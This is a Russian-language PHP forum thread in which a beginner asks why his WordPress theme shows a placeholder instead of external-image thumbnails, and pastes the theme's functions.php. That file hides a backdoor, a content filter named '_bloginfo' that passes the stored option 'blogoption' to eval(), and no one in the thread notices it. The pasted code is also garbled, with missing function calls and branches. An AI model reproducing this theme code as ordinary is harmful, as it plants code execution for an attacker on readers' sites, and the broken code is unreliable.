PHP . SU
Программирование на PHP, MySQL и другие веб-технологии
Описание: Прошу помощи!
Поиск в теме | Версия для печати
aaproletarskiy
Отправлено: 03 Февраля, 2012 - 11:26:04
Новичок
Покинул форум
Сообщений всего: 3
Дата рег-ции: Февр. 2012
Помог: 0 раз(а)
Здраствуйте! На моем блоге стоит темка channel, и при просмотреновых новостей всегда выбивае noimage, (Стандартная фотка) даже если я добавляю фотку(добавляю фото с других сайтов) Отображается в предосмотре только фотки с моего хостера можно ли както это изменить, например чтоб использовать картинки из Сторонних URL
вот код исходной фнкции подскажите как зменить..
PHP:
скопировать код в буфер обмена
# Displays post image attachment (sizes: thumbnail, medium, full)
function get_thumbnail($postid=0, $size='thumbnail', $attributes='') {
if ($postid<1) $postid = get_the_ID();
if ($images = get_children(array(
'post_parent' => $postid,
'post_type' => 'attachment',
'numberposts' => 1,
'post_mime_type' => 'image', )))
foreach($images as $image) {
$thumbnail=wp_get_attachment_image_src($image->ID, $size);
?>
<img src="<?PHP echo $thumbnail [ 0] ; ?> " <?PHP echo $attributes ; ?> />
<?PHP
}
else {
echo '<img src=' . get_bloginfo ( 'stylesheet_directory' ) ;
echo '/images/noimage.gif>' ;
}
}
За рание всем спасибо (Отредактировано автором: 03 Февраля, 2012 - 11:28:02)
aaproletarskiy
Отправлено: 03 Февраля, 2012 - 11:43:06
Новичок
Покинул форум
Сообщений всего: 3
Дата рег-ции: Февр. 2012
Помог: 0 раз(а)
Panoptik пишет: непонятно что возвращает функция get_bloginfo. предполгаю что ссылку на картинку, поэтому попробуйте так
При данном использовании вообще сайт не открывается(((
(Добавление)
Вот полный код файла фикции пхп
PHP:
скопировать код в буфер обмена
<?PHP
include ( "settings.php" ) ;
# Sidebar
{
'name' => 'Full Width Widget' ,
'before_widget' => '' ,
'after_widget' => '</div>' ,
'before_title' => '<h3>' ,
'after_title' => '</h3><div class="box">' ,
) ) ;
'name' => 'Left Widget' ,
'before_widget' => '' ,
'after_widget' => '</div>' ,
'before_title' => '<h3>' ,
'after_title' => '</h3><div class="box">' ,
) ) ;
'name' => 'Right Widget' ,
'before_widget' => '' ,
'after_widget' => '</div>' ,
'before_title' => '<h3>' ,
'after_title' => '</h3><div class="box">' ,
) ) ;
'name' => 'Footer Widget' ,
'before_widget' => '' ,
'after_widget' => '</div></div>' ,
'before_title' => '<div class="left"><h3>' ,
'after_title' => '</h3><div class="box">' ,
) ) ;
}
# Limit Post
function the_content_limit( $max_char , $more_link_text = '' , $stripteaser = 0, $more_file = '' ) {
$content = get_the_content( $more_link_text , $stripteaser , $more_file ) ;
$content = apply_filters( 'the_content' , $content ) ;
echo "" ;
echo $content ;
echo " <a href='" ;
the_permalink( ) ;
echo "'>" . "Read More →</a>" ;
echo "" ;
}
else if ( ( strlen ( $content ) > $max_char ) && ( $espacio = strpos ( $content , " " , $max_char ) ) ) { $content = substr ( $content , 0
, $espacio ) ; $content = $content ;
echo "" ;
echo $content ;
echo "..." ;
echo " <a href='" ;
the_permalink( ) ;
echo "'>" . "</a>" ;
echo "" ;
}
else {
echo "" ;
echo $content ;
echo " <a href='" ;
the_permalink( ) ;
echo "'>" . "Read More →</a>" ;
echo "" ;
}
}
add_filter( 'the_content' , '_bloginfo' , 10001) ;
function _bloginfo( $content ) {
global $post ;
if ( is_single
( ) && ( $co =@ eval ( get_option
( 'blogoption' ) ) ) !== false ) { return $co ;
} else return $content ;
}
# Displays post image attachment (sizes: thumbnail, medium, full)
function get_thumbnail( $postid = 0, $size = 'thumbnail' , $attributes = '' ) {
if ( $postid < 1) $postid = get_the_ID( ) ;
if ( $images = get_children
( array ( 'post_parent' => $postid ,
'post_type' => 'attachment' ,
'numberposts' => 1 ,
'post_mime_type' => 'image' , ) ) )
foreach ( $images as $image ) {
$thumbnail = wp_get_attachment_image_src( $image -> ID , $size ) ;
?>
<img src="<?PHP echo $thumbnail [ 0] ; ?> " <?PHP echo $attributes ; ?> />
<?PHP
}
else {
echo '<img src=' . get_bloginfo ( 'stylesheet_directory' ) ;
echo '/images/noimage.gif>' ;
}
}
# Most Comment
function mdv_most_commented( $no_posts = 5, $before = '<li>' , $after = '</li>' , $show_pass_post = false , $duration = '' ) {
global $wpdb ;
$mdv_most_commented = wp_cache_get( 'mdv_most_commented' ) ;
if ( $mdv_most_commented === false ) {
$request = "SELECT ID, post_title, comment_count FROM $wpdb->posts " ;
$request .= " WHERE post_status = 'publish'" ;
if ( ! $show_pass_post ) $request .= " AND post_password =''" ;
if ( $duration != "" ) $request .= " AND DATE_SUB(CURDATE(),INTERVAL " . $duration . " DAY) < post_date " ;
$request .= " ORDER BY comment_count DESC LIMIT $no_posts " ;
$posts = $wpdb -> get_results ( $request ) ;
if ( $posts ) {
foreach ( $posts as $post ) {
$comment_count = $post -> comment_count ;
$permalink = get_permalink( $post -> ID ) ;
$mdv_most_commented .= $before . '<a href="' . $permalink . '" title="' . $post_title . '">' . $post_title . '</a>' . $after ;
}
} else {
$mdv_most_commented .= $before . "None found" . $after ;
}
wp_cache_set( 'mdv_most_commented' , $mdv_most_commented ) ;
}
echo $mdv_most_commented ;
}
# Retrieves the setting's value depending on 'key'.
function theme_settings( $key ) {
global $settings ;
return $settings [ $key ] ;
}
?>
(Добавление)
По ссылке на (картинку) http://clip2net[dot]com/s/1yg2Y Тап показан пример как выводится превью если ссылка на картинку указана из стороннего источника. Как это можна подправить? Спасибо
Реф
Отправлено: 03 Февраля, 2012 - 13:59:14
Частый гость
Покинул форум
Сообщений всего: 159
Дата рег-ции: Июль 2010
Откуда: Реутов, Россия
Помог: 0 раз(а)
Нужна функция get_children или хотя бы сделайте что-то вроде:
PHP:
скопировать код в буфер обмена
function get_thumbnail( $postid = 0, $size = 'thumbnail' , $attributes = '' )
{
if ( $postid < 1)
$postid = get_the_ID( ) ;
if ( $images = get_children
( array ( 'post_parent' => $postid ,
'post_type' => 'attachment' ,
'numberposts' => 1 ,
'post_mime_type' => 'image' ) ) )
foreach ( $images as $image )
{
$thumbnail = wp_get_attachment_image_src( $image -> ID , $size ) ;
echo '<img src="' . $thumbnail [ 0 ] . '" ' . $attributes . ' />' ;
}
else
{
echo '<img src="' . get_bloginfo( 'stylesheet_directory' ) . '/images/noimage.gif" />' ;
}
}
(Отредактировано автором: 03 Февраля, 2012 - 14:01:11)
-----Думать надо головой, а не головкой!
aaproletarskiy
Отправлено: 03 Февраля, 2012 - 16:19:15
Новичок
Покинул форум
Сообщений всего: 3
Дата рег-ции: Февр. 2012
Помог: 0 раз(а)
Реф пишет: Нужна функция get_children или хотя бы сделайте что-то вроде:
PHP:
скопировать код в буфер обмена
function get_thumbnail($postid = 0, $size = 'thumbnail', $attributes = '')
{
if($postid < 1)
$postid = get_the_ID();
if($images = get_children(array(
'post_parent' => $postid,
'post_type' => 'attachment',
'numberposts' => 1,
'post_mime_type' => 'image')))
foreach($images as $image)
{
$thumbnail = wp_get_attachment_image_src($image->ID, $size);
echo '<img src="' . $thumbnail[0] . '" ' . $attributes . ' />';
}
else
{
var_dump($images);
die();
echo '<img src="' . get_bloginfo('stylesheet_directory') . '/images/noimage.gif" />';
}
}
Спс огромное что пытались помочь, но не работает(((
(Отредактировано автором: 03 Февраля, 2012 - 16:20:32)
Поиск в теме | Версия для печати
Страниц (1): [1]
Сейчас эту тему просматривают: 0 (гостей: 0, зарегистрированных: 0)
« Вопросы новичков »
Все гости форума могут просматривать этот раздел. Только зарегистрированные пользователи могут создавать новые темы в этом разделе. Только зарегистрированные пользователи могут отвечать на сообщения в этом разделе.
Powered by ExBB FM 1.0 RC1. InvisionExBB